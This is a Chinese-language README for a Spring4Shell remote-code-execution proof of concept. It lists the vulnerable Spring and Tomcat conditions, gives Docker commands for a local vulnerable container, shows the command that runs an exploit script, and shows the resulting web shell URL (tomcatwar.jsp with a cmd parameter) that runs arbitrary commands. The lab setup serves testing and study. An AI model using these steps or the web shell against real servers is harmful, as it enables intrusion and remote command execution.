Spring4shell RCE 漏洞

该漏洞影响 Spring Core，攻击者可以发送特制的 HTTP 请求，绕过库的 HTTP 请求解析器的保护，从而导致远程代码执行。

更多信息请访问 此处

要利用此漏洞，必须满足几个条件：

• 使用 JDK 9 或更高版本
• 使用 Apache Tomcat 作为 Servlet 容器
• 打包为传统的 WAR（与 Spring Boot 可执行 jar 相对）
• 使用 spring-webmvc 或 spring-webflux 依赖
• 使用 Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 或更早版本

POC

• 构建 Docker 镜像

docker build . -t springshell-rce-poc

• 运行 Docker 容器

docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc

• 运行漏洞利用程序

python exploit-poc.py --url "http://127.0.0.1:8081/"

预期响应

exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami

如果你访问此 URL，它将执行你想要的任何命令 cmd=<whatyouwant>

如果你通过 SSH 进入容器，将看到已创建了一个新文件 tomcatwar.jsp

docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT